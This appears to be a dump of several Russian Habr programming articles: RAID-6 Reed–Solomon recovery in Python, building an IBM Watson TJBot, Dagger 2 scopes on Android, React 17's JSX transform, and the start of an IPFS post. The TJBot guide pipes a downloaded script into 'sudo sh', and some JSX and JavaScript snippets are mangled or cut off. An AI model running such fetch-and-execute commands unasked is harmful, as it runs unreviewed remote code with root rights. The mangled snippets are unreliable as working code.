Это самый интересный и самый сложный сценарий. Предположим, диски D2 и D3 вышли из строя. В этом случае нужно каким-то образом использовать диски D1, PD и RS для регенерации недостающих дисков.
Это особый подход, отличный от предыдущих случаев. Общий подход заключается в том, чтобы сначала сгенерировать данные для D2, а затем использовать ту же оценку, что и в сценарии № 2, для генерации данных D3. Вот код:
```
# case 7 -- recover_d2_and_d3.py
from rs_functions import *
# These drives are still alive.
image1 = [ ord('f'), ord('i'), ord('r'), ord('s'), ord('t') ]
imagePD = [ 0x61, 0x64, 0x78, 0x6f, 0x74 ]
imageRS = [ 0x4d, 0x1e, 0x0d, 0x7a, 0x31 ]
# These drives are dead, we can't read from them.
image2 = [0] * 5
image3 = [0] * 5
for i in range(0, 5):
partialPD = gf_add(image1[i]) # add other drives if they exist
partialRS = gf_add(gf_mul(gf_drive(1), image1[i])) # add other drives if they exist
g = gf_div(1, gf_add(gf_drive(2), gf_drive(3)))
xoredPD = gf_add(partialPD, imagePD[i])
xoredRS = gf_add(partialRS, imageRS[i])
mid = gf_add(gf_mul(gf_drive(3), xoredPD), xoredRS) # gf_drive(3) is the second drive we've lost
# Regenerate data for D2.
data = gf_mul(mid, g)
image2[i] = data
# Regenerate data for D3.
image3[i] = gf_add(image1[i], image2[i], imagePD[i])
# or:
#
# image3[i] = gf_add(data, xoredPD)
dump_table("image2", image2)
dump_table("image3", image3)
```
Во-первых, нужно сложить все байты со всех существующих дисков данных, чтобы сгенерировать `partialPD`. В этом примере у нас только один диск данных, поэтому параметр `partialPD` будет просто содержимым диска D1. Но массивы RAID-6 охватывают множество дисков. Поэтому если у нас более одного диска данных, например, три живых диска данных, то вычисление partialPD выглядело бы следующим образом:
```
partialPD = gf_add(image1[i], image2[i], image3[i])
```
Далее нам понадобится параметр `partialRS`. Его можно вычислить, добавив данные с существующих дисков следующим образом:
```
partialRS = gf_add(A, B, C, ..., Z)
where A = gf_mul(gf_drive(1), image1[i])
B = gf_mul(gf_drive(2), image2[i]) if we have drive 2
C = gf_mul(gf_drive(3), image3[i]) if we have drive 3
etc.
```
В нашем случае остался только один накопитель данных (D1), поэтому наш `partialRS` — это просто `gf_mul(gf_drive(1), image1[i])`.
Затем нужно сгенерировать параметр `g`, разделив единицу на сумму индексов мёртвых дисков (D2 и D3).
Далее следует параметр `xoredPD`; он вычисляется путём добавления содержимого PD к параметру `partialPD`, вычисленному ранее. Следующий параметр `xoredRS` вычисляется аналогично, путём добавления `partialRS` к содержимому RS.
Теперь сложная часть. Можно вычислить данные с *первого* сломанного диска, то есть с диска D2. Для этого нужно умножить индекс *второго сломанного диска* (D3) на параметр `xoredPD` и добавить к результату параметр `xoredRS`. Затем, после умножения результата на параметр `g`, мы получим содержимое диска D2.
Поскольку мы только что восстановили данные для D2, отныне этот случай ничем не отличается от сценария № 2 — потери одного диска данных (D3). Чтобы создать диск D3, нужно сложить с PD все живые диски данных (D1 и D2).
Готово! Мы вернули полный комплект дисков.
Эпилог
======
Я выбрал Python для демонстрации, что исправление ошибок с помощью кодов Рида — Соломона не требует особого программирования и вычислительной мощности. Всё очень быстро, и реализация может быть довольно компактной. Конечно, более эффективную реализацию следует написать с учётом параллельной обработки. Поскольку каждый байт вычисляется независимо от других, распараллеливание не сложное.
Стоит отметить, что описанный метод восстановления данных не обязательно использовать на отдельных физических дисках. «Диски» можно рассматривать как «буферы» в процессе передачи данных по ненадёжному каналу, и такое исправление ошибок остаётся эффективным. Здесь требуются более интенсивные вычисления, чем с кодами Хэмминга, зато можно поднять два упавших потока. Это мощная фича для обеспечения отказоустойчивости.
Конечно, RAID-6 далеко не новое изобретение, а коды Рида — Соломона ещё старше. Они использовались ещё в [миссии «Вояджер-2»](https://trs.jpl.nasa.gov/bitstream/handle/2014/34531/94-0881.pdf?sequence=1), что довольно круто.
Среди более современных альтернатив для кодов Рида — Соломона можно назвать [турбокоды](https://blogrecherche.wp.imt.fr/en/2016/09/16/what-are-turbo-codes/) — надеюсь, у меня появится возможность покопаться и в них. | https://habr.com/ru/post/531154/ | null | ru | null |
# TJBOT как иллюстрация IBM Watson services
Привет, Хабр! Весной 2019 года прошел очередной Think Developers Workshop, на котором все желающие могли собрать картонного робота TJBota под управлением IBM Watson Services. Под катом находится подробная инструкция, из чего и как собрать такого робота, полезные ссылки и простейшие рецепты, демонстрирующие некоторые когнитивные возможности сервисов Watson, а также небольшой анонс двух июльских семинаров о Watson Services в московском офисе IBM.
IBM Watson services – это когнитивная система, которая умеет обрабатывать естественный язык, распознавать образы и обучаться. Для удобного использования этих сервисов в любом приложении существует API.
TJBot – это проект с открытым исходным кодом, призванный помочь получить доступ к Watson services. Это робот, которого может сделать каждый из raspberry pi и готового искусственного интеллекта. Оживить TJBotа можно с помощью рецептов.
Рецепты – это пошаговые инструкции, которые помогут подключить TJBotа к сервисам Watson, таким как Speech to Text, Visual Recognition и Language Translator. Рецепты разработаны на основе Raspberry Pi.
### Что необходимо для TJBotа
* Raspberry Pi 3 + SD-карта с предустановленной ОС
* USB-микрофон
* Bluetooth-динамик или динамик с 3.5-мм. аудио разъёмом
* Сервопривод
* NeoPixel RGB LED (8мм)
* Проводки мама-мама и папа-мама
* Raspberry Pi Camera
* Блок питания
* Корпус (можно распечатать на 3D-принтере или вырезать лазером из картона. Необходимые макеты лежат [здесь](https://ibmtjbot.github.io/))
Инструкцию по сборке корпуса можно найти [здесь](https://www.instructables.com/id/Build-TJ-Bot-Out-of-Cardboard/).
Схема подключения диода и сервопривода к плате на картинке ниже.
Сборка корпуса происходит «вокруг» платы, поэтому заранее необходимо записать ОС на карту памяти.
Проще всего установить [NOОBS](https://www.raspberrypi.org/downloads/noobs/), но нам подойдёт и любой другой линукс. Перед установкой NOOBS форматируем карту памяти, скачиваем архив с установочными файлами и экспортируем их на компьютер. Далее необходимо перенести файлы из папки NOOBS на карту памяти. При первом запуске raspberry (с предварительно вставленной картой памяти) откроется меню установки ОС. Подробную инструкцию можно найти [здесь](https://projects.raspberrypi.org/en/projects/raspberry-pi-setting-up).
### Программные приготовления
Первым делом нужно установить пакеты:
```
curl -sL http://ibm.biz/tjbot-bootstrap | sudo sh –
```
Теперь скачиваем готовые рецепты с гитхаба:
```
git clone https://github.com/ibmtjbot/tjbot.git
```
Переходим в директорию с рецептом:
```
cd tjbot / recipes / speech_to_text
```
В этой папке находится конфигурационный файл config.js и файл с выполняемым сценарием stt.js.
Устанавливаем npm:
```
sudo apt-get install npm
```
### Подключение Watson services
Чтобы использовать сервисы Watson, нужно проделать следующие шаги.
Переходим на этот [сайт](http://cloud.ibm.com/).
Регистрируемся и переходим в каталог. В каталоге ищем «speech to text». Speech to text – это сервис, который используется для перевода речи в текст. Доступ к API можно найти [здесь](https://cloud.ibm.com/apidocs/speech-to-text).
Text to speech и Visual Recognition также понадобятся, когда мы будем работать с распознаванием изображений. Кликаем на speech to text, попадаем на страничку с описанием этого компонента и планами использования.
Бесплатного плана нам хватит. Нажимаем на create, далее в меню слева переходим в Service Credentials.
Отсюда необходимо скопировать credentials и APIKEY и вставить их в файл config.js.
```
// Create the credentials object for export
exports.credentials = {};
// Watson Speech to Text
// https://www.ibm.com/watson/services/speech-to-text/
exports.credentials.speech_to_text = {
"apikey": "...",
"iam_apikey_description": "...",
"iam_apikey_name": "...",
"iam_role_crn": "...",
"iam_serviceid_crn": "...",
"url": "https://gateway-lon.watsonplatform.net/speech-to-text/api"
};
```
Теперь, если нам захочется добавить ещё какой-нибудь Watson сервис, в конфигурационном файле надо будет добавить на каждый сервис по блоку с apikey и url, обёрнутому в следующую конструкцию:
```
exports.credentials.[ text_to_speech/visual_recognition/speech_to_text ] = { … };
```
### Оживление TjBota
Рассмотрим файл с исполняемым ботом скриптом stt.js. В нём есть готовая функция diskoParty() для проверки работы бота и без использования Watson сервисов. Эта функция заставляет диод бота мигать разными цветами.
```
function discoParty() {
for (i = 0; i < 30; i++) {
setTimeout(function() {
var randIdx = Math.floor(Math.random() * tjColors.length);
var randColor = tjColors[randIdx];
tj.shine(randColor);
}, i * 250);
}
}
discoParty();
```
В этом же скрипте есть функция, которая позволяет переключать цвет диода с помощью речи разработчика.
Запустим скрипт:
```
sudo node stt.js
```
Скажите боту «turn the light blue», чтобы он переключил цвет диода на голубой, «turn the light on» для включения диода или же «turn the light off» для выключения. Поддерживаемые цвета для распознавания (пока поддерживается только английская речь): yellow, green, orange, purple, magenta, red, blue, aqua и white.
TjBot имеет достаточно много базовых функций. Например, для проверки сервопривода вы можете использовать функцию tj.wave(), которая заставляет бота поприветствовать вас взмахом ручки. Эти функции с короткими описаниями можно найти [здесь](https://github.com/ibmtjbot/tjbotlib).
Рассмотрим теперь следующий сценарий, использующий сразу и visual recognition и text to speech.
Text to speech – это сервис, который преобразовывает печатный текст в речь с помощью различных голосов, тональностей и языков. Его API можно найти по следующей [ссылке](https://cloud.ibm.com/apidocs/text-to-speech). Сервис visual recognition позволяет описать, что изображено на картинке. Он распознает лица людей с определением их примерного возраста и пола, продукты питания, блюда, предметы и умеет искать схожие изображения. API этого сервиса можно найти [здесь](https://cloud.ibm.com/apidocs/visual-recognition). С помощью этих сервисов мы научим бота видеть и говорить. На основе полученного с камеры снимка, Watson сервисы (visual recognition) в качестве ответа отправят нам json-объект с тегами изображения, а text to speech поможет их озвучить.
Первым делом, создаем credentials на сайте cloud.ibm.com. Копируем их и вставляем в конфигурационный файл config.js.
Далее редактируем исполняемый скрипт stt.js. Находим в нём следующие строчки:
```
// these are the hardware capabilities that our TJ needs for this recipe
var hardware = ['led', 'microphone'];
```
В массиве hardware прописаны используемые устройства бота. Если мы захотим использовать в скрипте сервопривод, необходимо будет подписать в массив «servo», если нам понадобится камера, то добавим в массив «camera», для использования колонки подпишем «speaker».
Итак, наш сценарий будет использовать колонку и камеру, соответственно, подписываем это в массив hardware.
```
// these are the hardware capabilities that our TJ needs for this recipe
var hardware = ['led', 'servo', 'camera', 'speaker', 'microphone'];
// set up TJBot's configuration
var tjConfig = {
log: {
level: 'verbose'
},
speak: {
language: 'en-US', // see TJBot.prototype.languages.speak
voice: undefined, // use a specific voice; if undefined, a voice is chosen based on robot.gender and speak.language
speakerDeviceId: "plughw:0,0" // plugged-in USB card 1, device 0; see aplay -l for a list of playback devices
},
listen: {
microphoneDeviceId: "plughw:1,0", // plugged-in USB card 1, device 0; see arecord -l for a list of recording devices
inactivityTimeout: -1, // -1 to never timeout or break the connection. Set this to a value in seconds e.g 120 to end connection after 120 seconds of silence
language: 'en-US' // see TJBot.prototype.languages.listen
},
};
```
Из базовых функций tj-библиотеки нам понадобятся функции tj.see() и tj.speak().
Функция tj.see() создает фотографию (объект сохраняется в папке tmp), отправляет ее в облако с Watson сервисами, анализирует изображение и выдает json-объект, состоящий из тегов – слов, описывающих фотографию (можно выбрать разные описания и степени уверенности) и процент надежности этих тегов. Будем выводить содержание ответа сервисов в консоль.
Функция tj.speak() умеет превращать текст с помощью Watson сервисов в звуковой файл, а затем воспроизводить его. Также, если с помощью сервисов Watson на фотографии будет обнаружен человек, то TJBot махнет ручкой.
```
// instantiate our TJBot!
var tj = new TJBot(hardware, tjConfig, credentials);
tj.see().then(function(objects){
var tags = objects.map(function(object){
return object.class;
});
if (tags.includes('person')){
tj.wave();
}
console.log(tags);
for(var i=0;i
```
Данный рецепт показывает, как легко использовать Watson сервисы в своём проекте. Краткое описание этих сервисов и ссылки на них уже были в этой [статье](https://habr.com/ru/company/ibm/blog/331206/). Попробовать все Watson сервисы можно бесплатно.
Также совсем скоро в московском офисе IBM пройдут семинары, на которых вы сможете познакомиться с другими возможностями Watson services.
9 июля 2019 года пройдёт практический семинар «Unveil AI Blackbox with IBM Watson OpenScale», посвященный новому облачному продукту — Watson OpenScale. На этом мероприятии вы сможете познакомиться с принципами работы нейронных сетей, попробуете создать и обучить нейронную сеть и протестировать её с помощью платформы Watson AI OpenScale. На мероприятие необходимо предварительно зарегистрироваться по этой [ссылке](https://ibmdbg.timepad.ru/event/978064/).
10 июля 2019 года состоится семинар «Распознавание изображений и видео в облаке IBM». На этом семинаре вы сможете узнать о том, как с помощью Watson Studio внедрить искусственный интеллект в ваше приложение. Подробное описание мероприятия и ссылка для регистрации [здесь](https://ibmdbg.timepad.ru/event/978076/). | https://habr.com/ru/post/458374/ | null | ru | null |
# @ActivityScope с помощью Dagger 2
Привет, Хабр! Хочу поделиться опытом создания ActivityScope. Те примеры, которые я видел на просторах интернета, на мой взгляд, не достаточно полны, неактуальны, искусственны и не учитывают некоторых нюансов практической разработки.
Статья предполагает, что читатель уже знаком с Dagger 2 и понимает что такое компонент, модуль, инжектирование и граф объектов и как все это вместе работает. Здесь же мы, в первую очередь, сконцентрируемся на создании ActivityScope и на том, как его увязать с фрагментами.
Итак, поехали… Что же такое scope?
Скоуп — это механизм Dagger 2, позволяющий сохранять некоторое множество объектов, которое имеет свой жизненный цикл. Иными словами скоуп — это граф объектов имеющий свое время жизни, которое зависит от разработчика.
По умолчанию Dagger 2 «из коробки» предоставляет нам поддержку **javax.inject.Singleton** скоупа. Как правило, объекты в этом скоупе существуют ровно столько, сколько существует инстанс нашего приложения.
Кроме того, мы не ограничены в возможности создания своих дополнительных скоупов. Хорошим примером кастомного скоупа может послужить **UserScope**, объекты которого существуют до тех пор, пока пользователь авторизован в приложении. Как только сессия пользователя заканчивается, или пользователь явно выходит из приложения, граф объектов уничтожается и пересоздается при следующей авторизации. В таком скоупе удобно хранить объекты, связанные с конкретным пользователем и не имеющие смысла для других юзеров. Например, какой-нибудь AccountManager, позволяющий просматривать списки счетов конкретного пользователя.
На рисунке показан пример жизненного цикла **Singleton** и **UserScope** в приложении.
* При запуске создается **Singleton** скоуп, время жизни которого равняется времени жизни приложения. Иными словами, объекты принадлежащие Singleton скоупу будут существовать до тех пор, пока система не уничтожит и не выгрузит из памяти наше приложение.
* После запуска приложения, **User1** авторизуется в приложении. В этот момент создается UserScope, содержащий объекты, имеющие смысл для данного пользователя.
* Через некоторое время пользователь решает «выйти» и разлогинивается из приложения.
* Теперь **User2** авторизуется и этим инициирует создание объектов **UserScope** для второго пользователя.
* Когда сессия пользователя истекает, это приводит к уничтожению графа объектов.
* Пользователь **User1** возвращается в приложение, авторизуется, тем самым создает граф объектов **UserScope** и отправляет приложение в бэкграунд.
* Спустя некоторое время система в ситуации нехватки ресурсов принимает решение об остановке и выгрузке из памяти нашего приложения. Это приводит к уничтожению как **UserScope**, так и **SingletonScope**.
Надеюсь, со скоупами немного разобрались.
Перейдем теперь к нашему примеру — **ActivityScope**. В реальных Android приложениях ActivityScope может оказаться крайне полезным. Еще бы! Достаточно представить себе какой-нибудь сложный экран, состоящий из кучи классов: пяток различных фрагментов, куча адаптеров, хелперов и презентеров. Было бы идеально в таком случае “шарить” между ними модель и/или классы бизнес логики, которые должны быть общими.
 Есть 3 варианта решения данной задачи:
1. Использовать для передачи ссылок на общие объекты самодельные синглтоны, Application класс или статические переменные. Данный подход мне однозначно не нравится, потому что нарушает принципы ООП и SOLID, делает код запутанным, трудночитаемым и неподдерживаемым.
2. Самостоятельно передавать объекты из Активности в нужные классы посредством сеттеров или конструкторов. Минус данного подхода — затраты на написание рутинного кода, когда вместо этого можно было бы сфокусироваться на написании новых фич.
3. Использовать Dagger 2 для инжектирования разделяемых объектов в необходимые места нашего приложения. В этом случае мы получаем все преимущества второго подхода, при этом не тратим время на написание шаблонного кода. По сути, перекладываем написание связующего кода на библиотеку.
Давайте посмотрим по шагам как с помощью Dagger 2 создать и использовать ActivityScope.
Итак, для создания кастомного скоупа необходимо:
* Объявить скоуп (создать аннотацию)
* Объявить хотя бы один компонент и соответствующий модуль для скоупа
* В нужный момент инстанцировать граф объектов и удалить его после использования
Интерфейс нашего [демо-приложения](https://github.com/d-tarasov/dagger-2-activity-scope) будет состоять из двух экранов **ActivityА** и **ActivityB** и общего фрагмента, используемого обоими активностями **SharedFragment**.
 
В приложении будет 2 скоупа: **Singleton** и **ActivityScope**.
Условно все наши бины можно разделить на 3 группы:
* Синглтоны — **SingletonBean**
* Бины активити скоупа, которые нужные только внутри активити — **BeanA** и **BeanB**
* Бины активити скоупа, доступ к которым нужен как из самой активити, так и из других мест активити скоупа, например, фрагмента — **SharedBean**
Каждый бин при создании получает уникальный id. Это позволяет наглядно понять, работает ли скоуп как задумывалось, потому что каждый новый инстанс бина будет иметь id, отличный от предыдущего.
Таким образом, в приложении будет существовать 3 графа объектов (3 компонента)
* **SingletonComponent** — граф объектов, которые существуют, пока приложение запущено, и не убито системой
* **ComponentActivityA** — граф объектов, необходимых для работы ActivityA (в том числе ее фрагментов, адаптеров, презентеров и так далее) и существующих до тех пор, пока существует экземпляр ActivityA. При уничтожении и пересоздании активити, граф также будет уничтожен и создан заново вместе с новым экземпляром активити. Данный граф является супермножеством, включающим в себя все объекты из Singleton скоупа.
* **ComponentActivityB** — аналогичный граф, но для ActivityB
Перейдем к реализации. Для начала подключаем Dagger 2 к нашему проекту. Для этого подключим **android-apt** плагин в корневом **build.gradle**…
```
buildscript {
//...
dependencies {
//...
classpath 'com.neenbedankt.gradle.plugins:android-apt:1.8'
}
}
```
и сам Dagger 2 в **app/build.gradle**
```
dependencies {
compile 'com.google.dagger:dagger:2.7'
apt 'com.google.dagger:dagger-compiler:2.7'
}
```
Далее объявляем модуль, который будет провайдить синглтоны
```
@Module
public class SingletonModule {
@Singleton
@Provides
SingletonBean provideSingletonBean() {
return new SingletonBean();
}
}
```
и компонент синглтон:
```
@Singleton
@Component(modules = SingletonModule.class)
public interface SingletonComponent {
}
```
Создаем инжектор — единственный синглтон в нашем приложении, которым будем управлять мы, а не Dagger 2, и который будет держать **Singleton** скоуп даггера и отвечать за инжекцию.
```
public final class Injector {
private static final Injector INSTANCE = new Injector();
private SingletonComponent singletonComponent;
private Injector() {
singletonComponent = DaggerSingletonComponent.builder()
.singletonModule(new SingletonModule())
.build();
}
public static SingletonComponent getSingletonComponent() {
return INSTANCE.singletonComponent;
}
}
```
Объявляем **ActivityScope**. Для того, чтобы объявить свой скоуп, необходимо создать аннотацию с именем скоупа и пометить ее аннотацией **javax.inject.Scope**.
```
@Scope
public @interface ActivityScope {
}
```
Группируем бины в модули: разделяемый и для активностей
```
@Module
public class ModuleA {
@ActivityScope
@Provides
BeanA provideBeanA() {
return new BeanA();
}
}
@Module
public class ModuleB {
@ActivityScope
@Provides
BeanB provideBeanB() {
return new BeanB();
}
}
@Module
public class SharedModule {
@ActivityScope
@Provides
SharedBean provideSharedBean() {
return new SharedBean();
}
}
```
Объявляем соответствующие компоненты активностей. Для того чтобы реализовать компонент, который будет включать в себя объекты другого компонента, есть 2 способа: **subcomponents** и **component dependencies**. В первом случае дочерние компоненты имеют доступ ко всем объектам родительского компонента автоматически. Во втором — в родительском компоненте необходимо явно указать список объектов, которые мы хотим экспортировать в дочерние. В рамках одного приложения, на мой взгляд, удобнее использовать первый вариант.
```
@ActivityScope
@Subcomponent(modules = {ModuleA.class, SharedModule.class})
public interface ComponentActivityA {
void inject(ActivityA activity);
void inject(SharedFragment fragment);
}
@ActivityScope
@Subcomponent(modules = {ModuleB.class, SharedModule.class})
public interface ComponentActivityB {
void inject(ActivityB activity);
void inject(SharedFragment fragment);
}
```
В созданных сабкомпонентах объявляем точки инжекции. В нашем примере таких точек две: **Activity** и **SharedFragment**. Они будут иметь общие разделяемые бины **SharedBean**.
Инстансы сабкомпонентов получаются из родительского компонента путем добавления объектов из модуля сабкомпонента к существующему графу. В нашем примере родительским компонентом является **SingletonComponent**, добавим в него методы создания сабкомпонентов.
```
@Singleton
@Component(modules = SingletonModule.class)
public interface SingletonComponent {
ComponentActivityA newComponent(ModuleA a, SharedModule shared);
ComponentActivityB newComponent(ModuleB b, SharedModule shared);
}
```
Вот и всё. Вся инфраструктура готова, осталось инстанцировать объявленные компоненты и заинжектить зависимости. Начнем с фрагмента.
Фрагмент используется сразу внутри двух различных активностей, поэтому он не должен знать конкретных деталей об активности, внутри которой находится. Однако, нам необходим доступ к компоненту активити, чтобы через него получить доступ к графу объектов нашего скоупа. Чтобы решить эту «проблему», используем паттерн **Inversion of Control**, создав промежуточный интерфейс **InjectorProvider**, через который и будет строится взаимодействие с активностями.
```
public class SharedFragment extends Fragment {
@Inject
SharedBean shared;
@Inject
SingletonBean singleton;
//…
@Override
public void onAttach(Context context) {
super.onAttach(context);
if (context instanceof InjectorProvider) {
((InjectorProvider) context).inject(this);
} else {
throw new IllegalStateException("You should provide InjectorProvider");
}
}
public interface InjectorProvider {
void inject(SharedFragment fragment);
}
}
```
Осталось инстанцировать компоненты уровня **ActivityScope** внутри каждой из активностей и проинжектить активность и содержащийся внутри неё фрагмент
```
public class ActivityA extends AppCompatActivity implements SharedFragment.InjectorProvider {
@Inject
SharedBean shared;
@Inject
BeanA a;
@Inject
SingletonBean singleton;
ComponentActivityA component =
Injector.getSingletonComponent()
.newComponent(new ModuleA(), new SharedModule());
//...
@Override
public void inject(SharedFragment fragment) {
component.inject(this);
component.inject(fragment);
}
}
```
Озвучу еще раз основные моменты:
* Мы создали 2 различных скоупа: **Singleton** и **ActivityScope**
* **ActivityScope** реализуется через **Subcomponent**, а не component dependencies, чтобы не нужно было явно экспотировать все бины из Singleton скоупа
* Активити хранит ссылку на граф объектов соответствующего ей ActivityScop-а и выполняет инжектирование себя и всех классов, которые хотят в себя инжектировать бины из ActivityScope, например, SharedFragment
* С уничтожением активити уничтожается и граф объектов для данной активности
* Граф **Singleton** объектов существует до тех пор, пока существует инстанс приложения
На первый взгляд может показаться, что для реализации такой простой задачи необходимо написать достаточно много связующего кода. В демо-приложении количество классов, выполняющих «работу» (бинов, фрагментов и активностей), примерно сопоставимо с количеством «связующих» классов даггера. Однако:
* В реальном проекте количество «рабочих» классов будет значительно больше.
* Связующий код достаточно написать однажды, а потом просто добавлять нужные компоненты и модули.
* Использование DI сильно облегчает тестирование. У вас появляются дополнительные возможности по инжектированию моков и стабов вместо реальных бинов во время тестирования
* Код бизнес-логики становится более изолированным и лаконичным за счет переноса связующего и инстанциирующего кода в классы даггера. При этом в самих классах бизнес-логики остается только бизнес-логика и ничего лишнего. Такие классы опять же легче писать, поддерживать и покрывать юнит-тестами
» Демо-проект доступен на [гитхабе](https://github.com/d-tarasov/dagger-2-activity-scope)
Всем Dagger и happy coding! :) | https://habr.com/ru/post/312196/ | null | ru | null |
# Новый механизм JSX трансформации в React 17 Release Candidate
В React 17 Release Candidate появляется новый способ трансформации JSX. С ним, в бандле, не понадобится сам Реакт, хотя для использования хуков он всё ещё нужен. Это и есть основной бенефит нового механизма. Под катом краткий перевод [статьи в блоге ReactJS](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html).
### Что такое JSX Трансформация
Так как браузеры не понимают JSX “из коробки”, разработчики полагаются на компиляторы типа Babel или Typescript, чтобы трансформировать JSX в обычный JS. [В React 17 Release Candidate](https://reactjs.org/blog/2020/08/10/react-v17-rc.html) появился новый, опциональный механизм трасформации JSX в JS.
Вот его преимущества:
* Использование JSX без импорта Реакт
* В зависимости от настроек бандл может слегка уменьшиться
* В будущем будут доступны фичи для упрощения работы с реактом
(Возможно я не совсем точно перевёл — вот оригинал: *It will enable future improvements that reduce the number of concepts you need to learn React*)
Апгрейд никак не меняет сам JSX и все компиляторы как работали так и будут работать. Нет никаких планов по отказу от них. Планируется поддержка нового механизма JSX Transform для старых версий Реакт: 16.х, 15.х, 14.х, вот [здесь](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html#how-to-upgrade-to-the-new-jsx-transform) инструкции для апгрейда.
### Что изменилось
Старая JSX трасформация работала следующим образом:
Код
```
import React from 'react';
function App() {
return Hello World
===========
;
}
```
Трасформировался в
```
import React from 'react';
function App() {
return React.createElement('h1', null, 'Hello world');
}
```
Но это не супер и вот почему:
* Так как JSX компилируется в React.createElement, React должен быть в области видимости
* Есть [несколько вариантов улучшить скорость и упростить](https://github.com/reactjs/rfcs/blob/createlement-rfc/text/0000-create-element-changes.md#motivation), которые блокирует React.createElement
Чтобы это решить в React 17 появляются две новые точки входа предназначенные для использования другими инструментами такими как Babel и Typescript и теперь вместо трансформации в React.createElement импортируются и вызываются новые функции из пакета React.
Предположим ваш код выглядел вот так:
```
function App() {
return Hello World
===========
;
}
```
После новой трансформации он будет выглядеть вот так:
```
// Inserted by a compiler (don't import it yourself!)
import {jsx as _jsx} from 'react/jsx-runtime';
function App() {
return _jsx('h1', { children: 'Hello world' });
}
```
Новый механизм не импортирует React, хотя он всё ещё нужен для работы хуков.
Новая трансформация полностью совместима со всем существующим JSX кодом, ничего менять не придётся. Вот [здесь](https://github.com/reactjs/rfcs/blob/createlement-rfc/text/0000-create-element-changes.md#detailed-design) технические подробности работы новой трансформации JSX.
### Как апгрейдить
Если не готовы апгрейдить или используете JSX для других библиотек, не беспокойтесь, старая трансформация не будет удалена и будет поддерживаться.
Для апгрейда нужны две вещи:
* Версия Реакт с поддержкой новой трансформации. Пока что это только 17, но в будущем 16.х, 15.х и 14.х
* Совместимый компилятор (см. ниже)
**Create React App**
Create React App поддержка будет в [релизе v4.0](https://gist.github.com/iansu/4fab7a9bfa5fa6ebc87a908c62f5340b) сейчас он в бета тестировании (на 22.09.20)
**Next.js**
Next.js [v9.5.3](https://github.com/vercel/next.js/releases/tag/v9.5.3)+ уже использует новую Реакт трансформацию для совместимых версий.
**Gatsby**
Gatsby [v2.24.5](https://github.com/gatsbyjs/gatsby/blob/master/packages/gatsby/CHANGELOG.md#22452-2020-08-28)+ уже использует новую Реакт трансформацию для совместимых версий.
**примечание**
Если у вас в Gatsby [вот такая ошибка](https://github.com/gatsbyjs/gatsby/issues/26979) после апгрейда на 17.0.0-rc.2, запустите npm update
**Ручная настройка Babel**
Поддержка с версии [v7.9.0](https://babeljs.io/blog/2020/03/16/7.9.0) и выше.
Если вы используете [babel](https://habr.com/ru/users/babel/)/plugin-transform-react-jsx:
# npm
`npm update @babel/core @babel/plugin-transform-react-jsx`
# yarn
`yarn upgrade @babel/core @babel/plugin-transform-react-jsx`
Если вы используете [babel](https://habr.com/ru/users/babel/)/preset-react:
# npm
`npm update @babel/core @babel/preset-react`
# yarn
`yarn upgrade @babel/core @babel/preset-react`
Сейчас для трансформации JSX, в [babel](https://habr.com/ru/users/babel/)/plugin-transform-react-jsx и в [babel](https://habr.com/ru/users/babel/)/preset-react, по умолчанию включена опция {«runtime»: «classic»} это старая версия трансформации. Для включения новой трансформации нужна опция {«runtime»: «automatic»}
Если вы используете [babel](https://habr.com/ru/users/babel/)/preset-react:
```
{
"presets": [
["@babel/preset-react", {
"runtime": "automatic"
}]
]
}
```
Если вы используете [babel](https://habr.com/ru/users/babel/)/plugin-transform-react-jsx:
```
{
"plugins": [
["@babel/plugin-transform-react-jsx", {
"runtime": "automatic"
}]
]
}
```
Начиная с версии Babel 8, «automatic» будет значением по умолчанию для обоих плагинов. Вот здесь более подробная документация [@babel/plugin-transform-react-jsx](https://babeljs.io/docs/en/babel-plugin-transform-react-jsx) and [@babel/preset-react](https://babeljs.io/docs/en/babel-preset-react).
**Примечание**
Если вы используете не Реакт, вы можете использовать опцию importSource для импорта, если конечно ваша библиотека предоставляет точки входа. Вы так же можете продолжать использовать классическую трансформацию, которая будет поддерживаться и дальше.
**ESLint**
Если у вас плагин [eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react), то правила react/jsx-uses-react и react/react-in-jsx-scope больше не нужны и их можно удалить.
```
{
// ...
"rules": {
// ...
"react/jsx-uses-react": "off",
"react/react-in-jsx-scope": "off"
}
}
```
**TypeScript**
Поддержка JSX трансформации с версии [4.1 beta](https://devblogs.microsoft.com/typescript/announcing-typescript-4-1-beta/#jsx-factories).
**Flow**
Поддержка JSX трансформации с версии [0.126.0](https://github.com/facebook/flow/releases/tag/v0.126.0) и выше.
### Как убрать неиспользуемые импорты React
Поскольку новая JSX трансформация автоматически импортирует react/jsx-runtime, React больше не нужен в области видимости для использования JSX. Неиспользуемые импорты это не критично, но если хотите удалить, рекомендуется использовать скрипт codemod.
```
cd your_project
npx react-codemod update-react-imports
```
В результате:
* Удалятся все неиспользуемые импорты React
* Изменятся все импорты типа import React from «react» на именованные import { useState } from «react». Это предпочтительный способ импорта. Codemod не затронет импорты типа import \* as React from «react», это тоже валидный импорт и в 17 версии он будет работать, но в дальнейшем мы будем просить избавляться от него
Код:
```
import React from 'react';
function App() {
return Hello World
===========
;
}
```
Будет заменён на:
```
function App() {
return Hello World
===========
;
}
```
Если вы используете что то другое в реакте (например хук), то в коде появится именованный импорт:
Код
```
import React from 'react';
function App() {
const [text, setText] = React.useState('Hello World');
return {text}
======
;
}
```
Заменится на код:
```
import { useState } from 'react';
function App() {
const [text, setText] = useState('Hello World');
return {text}
======
;
}
```
Удаление неиспользуемого импорта поможет подготовиться к следующим версиям Реакта (не 17) в которых будет поддержка ES модулей и не будет дефолтного экспорта.
### Благодарности
Мы благодарим команды Babel, TypeScript, Create React App, Next.js, Gatsby, ESLint, и Flow за их помощь в интеграции нового механизма JSX трансформации. Мы также благодарим сообщество Реакт за их отзывы и обсуждения [RFC](https://github.com/reactjs/rfcs/pull/107). | https://habr.com/ru/post/521930/ | null | ru | null |
# Межпланетная файловая система — больше нет необходимости копировать в сеть
Всем хороша идея IPFS но вот только был один недостаток у неё. Данные загружаемые в сеть копировались в хранилище блоков удваивая занимаемое ими место. Более того файл резался на блоки которые мало пригодны для повторного использования.
Появилась экспериментальная опция `--nocopy`, которая избавляет от этого недостатка. Для того чтобы пользоваться ей необходимо выполнить несколько условий.
Также появился новый тип идентификаторов. Его мы тоже разберём.
